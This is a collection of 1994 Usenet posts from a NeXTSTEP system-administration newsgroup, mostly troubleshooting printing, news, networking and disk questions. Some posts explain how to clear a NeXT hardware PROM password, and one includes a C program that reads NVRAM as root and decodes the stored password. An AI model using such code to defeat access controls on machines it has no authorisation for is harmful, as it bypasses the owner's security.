>but also as the subtrees printers/ljiv/Admin, ~/Comms and ~/Device. Comms
>contains some fields that I assume define the communications path (what else
>is nwe= and somwe things about the printer (NXPSSerial). There, I need to
>get the ethernet thing recognized, IP number and stuff.
this isn't a standard BSD printing tool, so unless NeXT explicitly
supports the JetDirect card, the standard printing stuff probably
will require a bit of hacking.
I guess, though, that all the HP software does is make a TCP connection to
port 9100 of the printer and sends the data across it.
Grab /pub/hpfilter.tar.Z from eecs.nwu.edu; it is an add-on to the HP
software that handles the connection to the printer and does page
accounting, and I suspect that looking through its code should help.
Maybe, using this as an example and maybe just replacing the "hpnpf"
program from the HP software with just 'cat' you can get postscript
printing working, which is probably all you care about.
good luck.
--
dan pritts consultant/system administrator
dan.pritts@umich.edu um itd/us unix support group
From: danno@css.itd.umich.edu (Dan Pritts)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Resetting the hardware PROM on a Next
Date: 26 Apr 1994 07:37:27 GMT
Organization: University of Michigan ITD/User Services
Message-ID: <2pigbn$9qr@lastactionhero.rs.itd.umich.edu>
References: <1994Apr25.235558.25200@ringer.cs.utsa.edu>
Douglas R. Floyd <dfloyd@runner> wrote:
>On the NextStation cube (the one with the ADB mouse), how does one
>disable the PROM (hardware) password? Do I remove the battery?
this may have changed on the ADB models but I doubt it. Removing
the battery and letting the machine sit for an hour should do it.
you can short out two pins on the PROM to clear it immediately, but I
don't know which two pins.
danno
--
dan pritts consultant/system administrator
dan.pritts@umich.edu ####################################################################
From: milov@uwlax.edu (Milo Velimirovic)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Need doc. of RTF file format
Date: 26 Apr 1994 13:59:06 GMT
Organization: University of Wisconsin - La Crosse
Distribution: world
Message-ID: <2pj6na$h1@alfred.acs.uwlax.edu>
References: <3861@symbas.UUCP>
In article <3861@symbas.UUCP> hans@symbas.UUCP (Hans Aafloy)
writes:
>
>
> I want to write a parser for text files in RTF format, used in
e.g.
> NS.
> Hence I need thorough documentation on RTF, but I don't know
who's
> made it, or where I can get hold of such doc.
>
> So, does any of you out there idea or pointer ??
>
[snip]
Try anonymous ftp to indri.primate.wisc.edu:/pub/RTF/* The
documents there should answer most of your questions.
Milo
---
Milo Velimirovic (milov@uwlax.edu)
Unix Computer Network Administrator
University of Wisconsin - La Crosse
From: steve@eps.rain.com (Steve Kornreich)
Newsgroups: comp.sys.next.sysadmin
Subject: CNEWS & NNTP
Date: 26 Apr 1994 15:42:03 GMT
Organization: PSGnet, Portland Oregon, US
Distribution: world
Message-ID: <2pjcob$5tr@rain.psg.com>
I just ftp'd Cnews package and was triing to setup Cnews over TCP/IP via
NNTP I have a news feed provider, but I can't get news over to my server.
Anyone have any tips or pointers in what files need to be altered? The doc
that came with Cnews if for uucp connection not NNTP..
Thanks
--
Steven Kornreich
steve@eps.rain.com
From: steve@eps.rain.com (Steve Kornreich)
Newsgroups: comp.sys.next.sysadmin
Subject: How to add man pages under 3.2
Date: 26 Apr 1994 15:43:16 GMT
Organization: PSGnet, Portland Oregon, US
Distribution: world
Message-ID: <2pjcqk$5u0@rain.psg.com>
How do you add man pages under 3.2?? I've read the man page for catman but
cant figure out the right syntax
--
Steven Kornreich
steve@eps.rain.com
Newsgroups: comp.sys.next.sysadmin
From: daniel@dgbt.doc.ca (Daniel Lauzon)
Subject: talkd problems ?
Message-ID: <1994Apr26.153945.28436@dgbt.doc.ca>
Sender: news@dgbt.doc.ca (News user)
Organization: The Communications Research Centre
Date: Tue, 26 Apr 94 15:39:45 GMT
I am running NS 3.2 on intel GX,
I can't seem to invoke talk even to myself from two running shells.
The reported error is :
can't figure out network address.
Does this have something to do with a faulty netinfo setup ??
Just looking for pointers, thought somone might find this completely obvious.
Thanks in advance
-Daniel
---
Daniel Lauzon
daniel@dgbt.doc.ca
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Resetting the hardware PROM on a Next
Date: 26 Apr 1994 17:34:11 +0100
Organization: me organised, that's a joke.
Message-ID: <2pjfq3$1r5@steffi.demon.co.uk>
References: <1994Apr25.235558.25200@ringer.cs.utsa.edu> <2phr8g$r23@portal.gmu.edu>
csmith@blackplague.gmu.edu (Christian Smith) wrote in comp.sys.next.sysadmin
>Douglas R. Floyd (dfloyd@runner) wrote:
>
>: I have looked everywhere for this information, but have not found it.
>
>: On the NextStation cube (the one with the ADB mouse), how does one
>: disable the PROM (hardware) password? Do I remove the battery?
>
>Yes, you remove the battery.
>
>Chris
>
Eric P Scott (I think it was him) wrote an app to show the hardware
password once. (You had to be root of course)
Anybody know where I can find this again today?
--
"Kill files are for pacifists"
(ASCII for text only messages)
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ?Disk Quotas (LONG REPLY)
Date: 26 Apr 1994 18:35:22 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2pjmta$got@quartz.ucs.ualberta.ca>
References: <2pi54g$5ht@gamera.umd.edu>
Michael F. Santangelo (mike@starburst.umd.edu) wrote:
: Very simply, is there ANY way to enable disk quotas in NeXTstep 3.2? Is
: the support in the kernel or has it been omitted? If the latter, any rumors
: as to when it might be included?
: Thanks.
The following in a substantially different form appeared as an article in
Sysadmin magazine. If you use this, please send me mail. That way I can
add people to the revisions list. Comments, compliments, constuctive
criticism all welcome.
Article begins
I was working on a batch queue manager for the world's only (so
far) Myrias SPS-3 parallel computer when one of the grad students stormed
into my office and frothed, "You've got to do something about Sidney.
He's using up 230 megs, hasn't looked at most of it in nearly a month,
and everytime we ask him to clear some of it off, he claims that it's all
essential." After letting him rant down I promise him that I'll try to
do something. Then I have to go find Sid, and talk to him. You know,
actually communicate. Something that, as a typical technonerd, I'd
rather avoid.
The normal state of a disk is full. Around here keeping more than
10% free space on a disk requires constant reminders, and pleas with the
users to compress, discard, or move to tape their precious files.
I really hate groveling to users to clean up their act. So I had
a choice. I could implement some form of disk quotas, or join the Disk
of the Month Club.
I take care of 20 odd unix boxes in a research lab. Many of our
users run simulations that churn out vast quantities of data. Most of
the time it's looked at once, and forgotten. Some users forget to delete
it too, or get emotionally attached to their results, and are reluctant
to archive it to tape.
Of the four architectures at our site, two of them do not
implement quotas at all (Next and Stardent) and the other two (Sun and
AIX) don't implement them the same way. That didn't matter anyway, as our
servers were the machines didn't have quotas.
I wanted a system that would put steadily increasing pressure on
a user to do something about his files, but still give him some
flexibility. I really didn't want to get calls on the weekend demanding
more disk space. Thus came into being quota.####################################################################
####################################################################
Newsgroups: comp.sys.next.sysadmin
From: jmeacham@ants.ci.net (James D. Meacham 3rd)
Subject: Re: Help! I can't get outgoing News!
Message-ID: <Cow1Bv.24x@ants.ci.net>
Sender: jmeacham@ants.ci.net (James D. Meacham 3rd)
Organization: Meacham, Zweig, and Cats
References: <CovIF0.A1@euler.hnv.icem.de>
Date: Tue, 26 Apr 1994 22:33:31 GMT
In article <CovIF0.A1@euler.hnv.icem.de> js@euler.hnv.icem.de(Juergen Sell)
writes:
> In article <2per6b$mv0@explorer.clark.net> trance9@clark.net (Trance 9)
writes:
> >
> > Hi All,
> >
> > I've recently gone back to UUCP from slip, and after renistalling CNEWS,
> > I'm unable to get outgoing news. Incoming news works just fine, but my
> > new newsgrazer posts get put in /usr/spool/news/in.coming instead of
> > out.going. Then, onece newsrun happens, they get put in
> > /usr/spool/news/in.coming/bad. They get put in my local folders and I
> > can read them, but the world at large never gets to see them (I know,
> > maybe thats a good thing----> :-) ) Anyway, if anyonce has any
> > suggestions please drop me an e-note at jmeacham@ants.ci.net (not this
> > address, which my brothr has been kind enough to let me use until I get
> > this straigtened out. Thanks in advance.
> > Peace,
>
> Take a look at /usr/local/news/lib/errlog.
> Is there a line like
> relaynews: can't open `out.master/0' (No such file or directory)
> ?
> If so, you need to create
> /usr/spool/news/out.master by hand and set permissions right (news.news like
the other groups).
>
> Good luck,
> Juergen
That, as you can tell from the fact that this comes from my home machine, did
it. Thanks very much. Peace,
James
---
_____________________________________________________________________
James David Meacham, 3rd
M.Div. Candidate
Andover Newton Theological School e-mail:jmeacham@ants.ci.net
7 Flint Road Phone: 617-926-6024
Watertown, MA 02172 NeXTMAIL accepted
Intern Minister 64-66 Marlborough Street
First and Second Church in Boston Boston, MA 02116
(Unitarian Universalist) 617-267-6730
_____________________________________________________________________
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_____________________________________________________________________
James David Meacham, 3rd
M.Div. Candidate
From: dsiebert@icaen.uiowa.edu (Doug Siebert)
Newsgroups: comp.protocols.ppp,comp.sys.next.sysadmin,comp.unix.solaris
Subject: Re: PPP telnet or rlogin to Solaris Machines hang
Date: 26 Apr 1994 21:57:12 GMT
Organization: Iowa Computer Aided Engineering Network, University of Iowa
Distribution: inet
Message-ID: <2pk2no$mra@news.icaen.uiowa.edu>
References: <2pjni0$1009@msuinfo.cl.msu.edu>
perkins@sidney.cps.msu.edu (Stephen Perkins) writes:
>A friend is having the following problem. He is running ppp0.3 on a
>Moto NeXT running 3.2. I had PPP running fine on my machine (till I got
>a real ethernet connection ;). However, at the time, all machines were
>Sun OS4.1 and everything worked great! We used my configuration on his
>machine and here is what he reports:
[reports of hang to Solaris machines while SunOS 4.1.x and A/UX machines
work fine deleted]
I've seen the same thing, running PPP from a Moto NeXT running 3.0. What it
is doing is not hanging, just sending very very slowly (I can rlogin in and
do a 'ps -ef', and have it take about 2-4 minmutes to complete on an idle
Sparc 10/41. Going in via another machine fixes this, it works instantly.
Any ideas? I'm adding comp.sys.next.sysadmin and comp.unix.solaris to the
distribution.
--
Douglas Siebert
dsiebert@isca.uiowa.edu
From: therbert@umiami.ir.miami.edu
Newsgroups: comp.sys.next.sysadmin
Subject: cancel <1994Apr25.123445.17527@umiami.ir.miami.edu>
Message-ID: <1994Apr26.102250.17534@umiami.ir.miami.edu>
Date: 26 Apr 94 10:22:50 EDT
Control: cancel <1994Apr25.123445.17527@umiami.ir.miami.edu>
cancel <1994Apr25.123445.17527@umiami.ir.miami.edu>
From: therbert@umiami.ir.miami.edu
Newsgroups: comp.sys.next.sysadmin
Subject: HELP! - INTERNET CONNECTION
Message-ID: <1994Apr26.102442.17535@umiami.ir.miami.edu>
Date: 26 Apr 94 10:24:41 EDT
Organization: Univ of Miami IR
I was going just great with our network of a Intel GX server, 12 Intel
clients (all running 3.2), and 3 old slabs/cubes running 2.1 or 3.0.
Last week I hooked up to an ethernet connection to the outside world and
everything works fine generally - with the following exception -
*********** 1 ************
All machines including the server always boot up with
-------------------------------------------------------------------
Apr 25 09:36:18 orchid8 mach: duplicate IP address!! sent from ethernet
address: aa:00:04:00:e9:0c
-------------------------------------------------------------------
Our computer center wants to know what the duplicate IP address is -
How can I determine that?
*********** 2 ************
Often, rebooting of clients (not the server) sees them hang or delay:
-------------------------------------------------------------------
Apr 25 09:55:11 orchid8 autonfsmount: darwin:/ server not responding:
RPC: Timed out
-------------------------------------------------------------------
Sometimes the clients (all of them - 3.2 Intel, 2.1 Black, 3.0 Black)
will hang indefinitely at this point. Sometimes they will finally make
the proper connections and continue, sometimes the reboot proceeds
normally without any timeouts.
I can't find any pattern to this activity - Sometimes I can reboot all
clients without incident (except the duplicate IP warning), sometimes
I have lots of troubles, requiring a half dozen reboots on a single
machine. I can have two failures on a machine, success, and then a
failure on four conseq. reboots.
Additional points:
1) Often there are delays of a couple to many seconds in accessing the
server from the clients, especially, it seems, when I have had a lot of
reboot problems.
2) I do not see any of these reboot problems or the server access delays
if I disconnect the local network of 16 NeXTstep machines from the
outside world and reboot.
3) I have carefully checked router address, nameserver config
(resolv.conf), etc. and everything seems to work properly (except for
file access delays) once the machines are booted up - mail, ftp, telnet,
rusers, etc, etc.
Can anyone suggest what I can do to diagnose the problem? Our local computer
center can't suggest anything at the moment - Why are the clients having such a
difficult time making a proper connection with the server? Might there be
another NeXTstep machine
which is improperly configured out there?
Any suggestions will certainly be appreciated -
Tom Herbert
Associate Prof. of Biology
Univ. of Miami
therbert@umiami.ir.miami.edu (VMS)
tom@darwin.cox.miami.edu (NeXTmail)
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.periphs.scsi,comp.sys.next.sysadmin
Subject: SCSI termination problems.
Date: 26 Apr 1994 23:11:24 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2pk72s$q8j@quartz.ucs.ualberta.ca>
I thought I knew how SCSI worked. I don't.
I have just purchased a pair of Fujitsu M2622FA's (330 Meg) as
replacements for NextSTep slab drives that are dying. The supplier
provided one with termination and one without.
The one with a terminator was a very unhappy drive if anything was
attached to the scsi port on the slab. This of course made
initialization difficult.
The one without a terminator was happy to live with a CD drive and a
tape drive hanging out there, but won't boot unless something is
connected to the scsi port.
How did the original Quantum 105's get around this problem? Being able
to hook up or not hook up an external scsi chain is a useful feature for
this machine. At my bosses house it never has anything attached. Once
a month or so, he brings in the slab, I attach a tape drive, and make a
backup. I would rather not disassemble the machine this often.
One option is to buy an external plug terminator to put on the port. At
$40 each, I'd like to avoid this. (I'm cheap with my bosses money.)
There are two jumpers for SCSI terminating resistor power. What is the
function of these?
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: grio@next.com (Dan Grillo)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: UUCP using myname or alias
Date: 26 Apr 1994 23:13:16 GMT
Organization: Technical Support, NeXT Computer, Inc.
Message-ID: <2pk76c$ld4@rosie.next.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Versions: dmail 1.9/makemail 2.2a
alby@uunet.uu.net writes in comp.sys.next.sysadmin:
> Does anyone know what command is entered in what file
> for UUCP to give your system an alias.
>
put the alias name in /etc/uucp/UUCPNAME
For example, if `hostname` is "quake", `uuname -l` is "last",
/etc/uucp/UUCPNAME contains "last".
--Dan
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Resetting the hardware PROM on a Next
Date: 27 Apr 1994 02:55:39 GMT
Organization: San Francisco State University
Message-ID: <2pkk7b$roo@nic-nac.CSU.net>
References: <1994Apr25.235558.25200@ringer.cs.utsa.edu> <2phr8g$r23@portal.gmu.edu> <2pjfq3$1r5@steffi.demon.co.uk>
In article <2pjfq3$1r5@steffi.demon.co.uk>
robert@steffi.demon.co.uk (Robert Nicholson) writes:
>Eric P Scott (I think it was him) wrote an app to show the hardware
>password once. (You had to be root of course)
>
>Anybody know where I can find this again today?
Right here. This needs to be compiled under NS 2.x, since (to my
knowledge) NeXT no longer distributes nvram.h except under
nondisclosure.
#include <stdio.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <mon/nvram.h>
#include <nextdev/video.h>
main()
{
register int v;
struct nvram_info nv;
if ((v=open("/dev/vid0", 0))<0) {
perror("/dev/vid0");
exit(1);
}
if (ioctl(v, DKIOCGNVRAM, &nv)<0) {
perror("couldn't read NVRAM");
exit(1);
}
switch (nv.ni_hw_pwd) {
case 0:
putchar('\n');
break;
case HW_PWD:
*(u_long *)nv.ni_ep^=0x4e4e4e4eL;
*(u_short *)&nv.ni_ep[4]^=0x4e4e;
/*FALL THROUGH*/
default:
(void)printf("%.6s\n", nv.ni_ep);
break;
}
(void)close(v);
exit(0);
}
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From: matthewm@sgate.com (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin,comp.unix.admin
Subject: inodes and news spool
Date: 26 Apr 1994 12:49:08 -0400
Organization: Southgate Internet Host
Message-ID: <2pjgm4$j7r@sgate.com>
I've got a little bit of a problem, which I hope someone can help me out with.
OS is NEXTSTEP, BSD 4.3 Unix (or close enough in this case).
We've got a news spool partition that's about 170M in size (on a SCI disk).
It's only meant to hold news articles for two days, because the machine this
partition sits on is just a gateway (news articles are shoved over to the real
news host every 20 minutes).
Unfortunately, newfs won't let me format it so that we have enough inodes to
do the job. We need about 60,000 inodes for a safe two day expire time (1,700
inodes overhead, ~ 20,000 news items per day).
I can't get more than 33,000 out of it. newfs won't let me go below 8
cylinders/group and that's the deciding factor, isn't it?
Is there a way to force the issue?
Right now I think I've hacked a one day expire time, but that's dangerous
because we might/will lose news articles that have been batched but not sent.
I've been working with news.daily to get it to send things out, but since
nntpxmit puts itself in the background I can't just wait for it to finish
(I've kluged a while loop where it keeps waiting until all the work files are
gone, but that's pretty ugly).
Any help on how to squeeze more inodes out of this partition? 32,000 inodes
for a 170M partition seems to be a bit low, because I can get more inodes/M
out of a larger partition.
Thanks.
------
Mike Matthews, Mike_Matthews@sgate.com (NeXTmail accepted)
------
"I have more information in one place than anybody in the world."
-- Jerry Pournelle, an absurd notion, apparently about the BIX BBS
Newsgroups: comp.sys.next.sysadmin
From: perstoro@uriela.in-berlin.de (Wilhelm Schaefer)
Subject: Re: UUCP using myname or alias
Message-ID: <1994Apr27.082120.9643@uriela.in-berlin.de>
Sender: perstoro@uriela.in-berlin.de
Organization: NeXAPP
References: <2pk76c$ld4@rosie.next.com>
Date: Wed, 27 Apr 1994 08:21:20 GMT
In article <2pk76c$ld4@rosie.next.com> grio@next.com (Dan Grillo) writes:
#
#alby@uunet.uu.net writes in comp.sys.next.sysadmin:
#> Does anyone know what command is entered in what file
#> for UUCP to give your system an alias.
#>
#
#put the alias name in /etc/uucp/UUCPNAME
#
#For example, if `hostname` is "quake", `uuname -l` is "last",
#/etc/uucp/UUCPNAME contains "last".
#
May I have different names for polling different sites?
so long
*** perstoro ***
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Newsgroups: comp.sys.next.sysadmin
From: lamb@eqt.ch (Alexander Lamb)
Subject: Exabyte 8mm with NS3.2
Message-ID: <Cowy4x.CEx@eunet.ch>
Sender: usenet@eunet.ch (News Administrator)
Organization: EUnet Switzerland
Date: Wed, 27 Apr 1994 10:22:08 GMT
Hello world,
Has someone managed to have an Exabyte 8200 work with NS Intel ?
I managed to have the hardware recognized at the startup but then any "mt"
commands won't work (such as mt -f /dev/nrxt0 rewind ...)
I tried with /dev/nrxt0 /dev/nrxt1 /dev/nrst0 /dev/nrst1 and all these
devices exist in the /dev directory !!!
Thanks,
Alexander Lamb
Expert Quantitative Trading
lamb@eqt.ch
From: af@iaka.biomath.jussieu.fr (Alain Fauconnet)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs
Subject: Re: Netinfo clients don't bind to clone server
Date: 27 Apr 94 13:40:51 GMT
Organization: Universites Paris VI/Paris VII - France
Distribution: world
Message-ID: <af.767454051@iaka>
References: <af.767014318@iaka>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
af@iaka.biomath.jussieu.fr (Alain Fauconnet) writes:
>I have recently tried to make our NeXTs more reliable by adding a
>clone server to our (simple, two-level) Netinfo network of
>Nextstations.
>I carefully followed the instructions in the "System and Network
>Administration" book, and it doesn't seem to work at all. When the
>usual server crashes, all the NeXTstations more or less hang, and
>even rebooting them doesn't seem to make them re-bind to the clone
>server. They complain at boot about not finding a server.
(...)
Okay, since I've had a few queries about this, I thought I'd post
a followup since I've made some progress.
Hint #1: have a Solaris 2.x system around to debug net problems
;-), "snoop" is the nicest tool I've seen coming with a Unix box
Hint #2: make sure your would-be backup Netinfo server has
explicit HOSTNAME= and INETADDR= specifications (*not*
-AUTOMATIC-) in /etc/hostconfig so that it knows its own
identity without the need for any other machine being up
Hint #3: make sure it also has NETMASTER=-YES- in the same file,
so that it starts bootpd and rpc.bootparamd at bootup. If not, it
won't reply to client's queries.
With that, I've been able to have the backup (i.e. clone) Netinfo
server survive a crash of the main server and have rebooted
clients bind to the backup server. I still haven't fully tested
dynamic rebinding, since I have hung NFS mounts to handle first.
Someone suggested adding entries for the main and clone hosts as
well as "broadcasthost" in /etc/hosts. It didn't seem to change
anything.
>The manual states that "the ip_address property for broadcasthost
>is 255.255.255.255, so the bind request is broadcast to all the
>hosts on the local network". I'm not a TCP/IP expert, but it
>seems to me that on a local net using subnetting
>(netmask=255.255.255.128, broadcast=x.y.z.127) like ours, a
>packet to 255.255.255.255 will go to the default router and not
>be sent as an broadcast Ethernet frame, will it ?
This is not relevant. I checked that the IP broadcast is actually
sent a a broadcast Ethernet frame.
_Alain_
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Public Health Research Labs 91 bld de l'Hopital 75013 PARIS FRANCE
Mail: af@biomath.jussieu.fr (*no* NeXTmail !)
Tel: (+33) 1-40-77-96-19 Fax: (+33) 1-45-86-80-68
From: flight@mathi.uni-heidelberg.de (Gregor Hoffleit)
Newsgroups: comp.sys.next.sysadmin
Subject: BAD SUPERBLOCK: fsck -b32 works !
Date: 27 Apr 1994 13:17:32 GMT
Organization: University of Heidelberg, Germany
Message-ID: <2plolc$k9d@sun0.urz.uni-heidelberg.de>
Indeed, I got a 'BAD SUPERBLOCK' msg, and tried fsck -b16 as stated in
the man-page. The fsck worked, but the BAD SUPERBLOCK remained. When I
tried a 'fsck -b32', the message was gone! Funny! Does anybody know the
reason ? BTW. I'm running NSfIP 3.2.
Gregor
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From: john@iastate.edu (John Hascall)
Newsgroups: comp.sys.next.sysadmin,comp.unix.admin
Subject: Re: inodes and news spool
Date: 27 Apr 1994 14:16:50 GMT
Organization: Iowa State University, Ames, Iowa (USA)
Message-ID: <2pls4i$j1s@news.iastate.edu>
References: <2pjgm4$j7r@sgate.com>
<2pjgm4$j7r@sgate.com>, Mike Matthews <matthewm@sgate.com> wrote:
}Unfortunately, newfs won't let me format it so that we have enough inodes to
}do the job. We need about 60,000 inodes for a safe two day expire time (1,700
}inodes overhead, ~ 20,000 news items per day).
}
}I can't get more than 33,000 out of it. newfs won't let me go below 8
}cylinders/group and that's the deciding factor, isn't it?
}
}Is there a way to force the issue?
I know nothing about NeXT's in particular, but any decent newfs has:
-i number of bytes per inode
This specifies the density of inodes in the file system. The
default is to create an inode for each 2048 bytes of data
space. If fewer inodes are desired, a larger number should be
used; to create more inodes a smaller number should be given.
John
--
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Systems Software Engineer
Project Vincent
Iowa State University Computation Center + Ames, IA 50011 + 515/294-9551
From: cdodson@beast.cac.stratus.com (R. Craig Dodson)
Newsgroups: comp.sys.next.sysadmin
Subject: Test your SysAdmin skills - can you fix this problem ?
Date: 27 Apr 1994 15:15:41 GMT
Organization: Stratus Computer Inc, Marlboro MA
Message-ID: <2plvit$ge3@transfer.stratus.com>
Hi Next-admins,
We've got a system in our training room that has defied our every
attempt to fix it.Here are the details:
Hardware: Ariel 486/66, DPT 2022, Fuji HD, Plextor CD ROM, 24mb mem
OS: NS 3.2 Intel
The Problem:
I caome in one morning to find this system at the root (#) prompt after
a failed reboot attempt. It had bombed out at the fsck with the error
"fsck - cannot excecute". At this point the system would not excecute any
commands in the usual libraries (/bin, etc) - it would return the "cannot
excecute" message for any command except "cd" and "ls".
What we tried:
1) Boot from Floppy/CD-Rom and mount hard drive (read/write) to /mnt
a) copy over new mach_kernel
b) copy over new fsck program
c) manually run fsck (from CD-ROM) on /dev/sd0a (the hard disk)
d) use "disk-b" to write a new boot block
e) verify that /etc/fstab was correct
Nothing worked.
Several of our "Nextperts" have looked at this system and the answer so far
from everyone has been "reload the disk". I'd rather try and salvage what seems
to be a fairly simple problem.
Has anyone out there seem this ?
Is there any hope of fixing it ?
Thanks for any input.
Craig Dodson (Stratus Computer)
cdodson@beast.cac.stratus.com
From: ras@nextras.mko.dec.com (Bob Surtees)
Newsgroups: comp.sys.next.sysadmin
Subject: Still having printer problems
Date: 27 Apr 1994 15:42:50 GMT
Organization: Digital Equipment Corporation
Message-ID: <2pm15q$f14@nntpd.lkg.dec.com>
I am currently running Version 3.2 on black hardware.
When the system was booted the /usr/lib/NextPrinter/npd was not started so
I was not able to print to the NeXT Printer until I started it manually.
It does start up /usr/lib/lpd at boot time but it seems I have to kill
this before manually starting npd. What is supposed to start the printer
at boot time? This all used to work at one time.
When running with Version 2.1 the Local_Printer was a NeXT 400 dpi Printer
but is now a NeXT 400 dpi Level II Printer. Is this correct?
Thanks, Bob Surtees
From: thrash@sbctri.sbc.com (David R. Thrash)
Newsgroups: comp.sys.next.sysadmin
Subject: [Q] Change my return address in sendmail.cf
Date: 27 Apr 1994 16:23:08 GMT
Organization: Southwestern Bell Technology Resources Inc.
Message-ID: <2pm3hc$9as@sbctri.sbc.com>
I have a slip connection into the suns at work and can not figure out how to
set my return address. I want my return address to be dthrash@sbctri.sbc.com
NOT thrash@delphi.sbctri.sbc.com. How do I get this to work?
Thanks in advance,
drt
The details:
NeXTStep 3.2 on Intel.
using PNI 1.7
my hostname "delphi" 144.60.26.44
1763:thrash@delphi:~>cat /etc/hostconfig
#
# /etc/hostconfig
HOSTNAME=delphi
INETADDR=-AUTOMATIC-
ROUTER=-NO-
IPNETMASK=
IPBROADCAST=-AUTOMATIC-
NETMASTER=-NO-
YPDOMAIN=-NO-
TIME=-AUTOMATIC-
1759:thrash@delphi:~>cat /etc/resolv.conf
nameserver 144.60.26.3 # annexP
nameserver 144.60.1.10 # sbctri
domain sbctri
sendmail.cf linked to sendmail.subsidiary.cf
only one change from default - add a line "Dmsbc.com"
reply to dthrash@sbctri.sbc.com (dah!)
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.periphs.scsi,comp.sys.next.sysadmin
Subject: SCSI termination problems.
Date: 27 Apr 1994 16:50:02 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2pm53q$imo@quartz.ucs.ualberta.ca>
I have just purchased two Fujutsu 330 Meg drives ( M2622FA) to replace
the Quantum 105 Meg drive that comes in a NextStation slab.
The quantum had the nice property that it would boot just fine with
nothing attached to the external SCSI port, and it would also boot just
find with a properly terminated scsi chain attatched to the external
port.
These Fuj disks don't have this property. At least as shipped.
If the terminating resistor pack was present, it would hang with
incredible numbers of errors if there was an external device present.
(Which made initialization from a CD rather difficult)
If no resistor present, then it requires an external terminated scsi
chain to run properly.
However...
There are two jumpers labeled SCSI termination resistor power. Removing
these makes the drive happy either way. I thought I understood SCSI at
least in a vague general way. Would some kind soul explain what's going
on?
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: ernst@cs.tu-berlin.de (Ernst Kloecker)
Newsgroups: comp.sys.next.sysadmin
Subject: How to export auto mounted CD-ROM ?
Date: 27 Apr 1994 17:13:31 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <2pm6fr$4vs@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Is there any way to export the contents of a CD-ROM which is inserted
after the system is up ?
I already managed to export a CD-ROM which was hard wired in /etc/fstab
and inserted at boot time, but I would also like to be able to change the
CD after boot.
Thanks for any info, Ernst.
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From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: inodes and news spool
Date: 27 Apr 1994 16:56:12 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2pm5fc$o9d@agate.berkeley.edu>
References: <2pls4i$j1s@news.iastate.edu>
In article <2pls4i$j1s@news.iastate.edu> john@iastate.edu (John Hascall) writes:
><2pjgm4$j7r@sgate.com>, Mike Matthews <matthewm@sgate.com> wrote:
>}Unfortunately, newfs won't let me format it so that we have enough inodes to
>}do the job. We need about 60,000 inodes for a safe two day expire time (1,700
>}inodes overhead, ~ 20,000 news items per day).
>}
>}I can't get more than 33,000 out of it. newfs won't let me go below 8
>}cylinders/group and that's the deciding factor, isn't it?
>}
>}Is there a way to force the issue?
>
> I know nothing about NeXT's in particular, but any decent newfs has:
>
> -i number of bytes per inode
> This specifies the density of inodes in the file system. The
> default is to create an inode for each 2048 bytes of data
> space. If fewer inodes are desired, a larger number should be
> used; to create more inodes a smaller number should be given.
I had the same problem of too few i-nodes on a newly intialized drive.
I am afraid the '-i' option won't do it because newfs will complain
that it can't do it, like:
Warning: 4096 bytes per inode impossible due
to cylinder group size, using 22235 bytes per inode
Reduce cylinder group size to reduce bytes per inode.
I was told that NeXT broke newfs in Release 3.1 and the fix did not
make it into Release 3.2. A suggested solution in the interim is
to use the newfs (maybe mkfs too) in Release 3.0. I haven't tried
this myself, however, as I could get low decent number of i-nodes
by using 8 cyls/group.
--
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Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXT & MIME mails welcome)
From: next2@info2.rus.uni-stuttgart.de (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Test your SysAdmin skills - can you fix this problem ?
Date: 27 Apr 94 18:22:47 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <next2.767470967@info2.rus.uni-stuttgart.de>
References: <2plvit$ge3@transfer.stratus.com>
cdodson@beast.cac.stratus.com (R. Craig Dodson) writes:
>The Problem:
>I caome in one morning to find this system at the root (#) prompt after
>a failed reboot attempt. It had bombed out at the fsck with the error
>"fsck - cannot excecute". At this point the system would not excecute any
>commands in the usual libraries (/bin, etc) - it would return the "cannot
>excecute" message for any command except "cd" and "ls".
Wild guess: The required shared libraries got damaged in the crash, or
they are not found due to a filesystem inconsistency.
Regards,
Markus.
--
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mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Expert in quantum bogodynamics
From: dbora@ils.nwu.edu (Don Bora)
Newsgroups: comp.sys.next.sysadmin
Subject: printer jams
Date: 27 Apr 1994 17:33:31 GMT
Organization: The Institute for the Learning Sciences
Distribution: world
Message-ID: <2pm7lb$t34@anaxagoras.ils.nwu.edu>
I have been having a problem when the printer jams...
I get the little voice message telling me that the
printer is jammed. I open the printer, take out the
jammed piece of paper, close the printer and try
printing agian... I get the same, now becoming
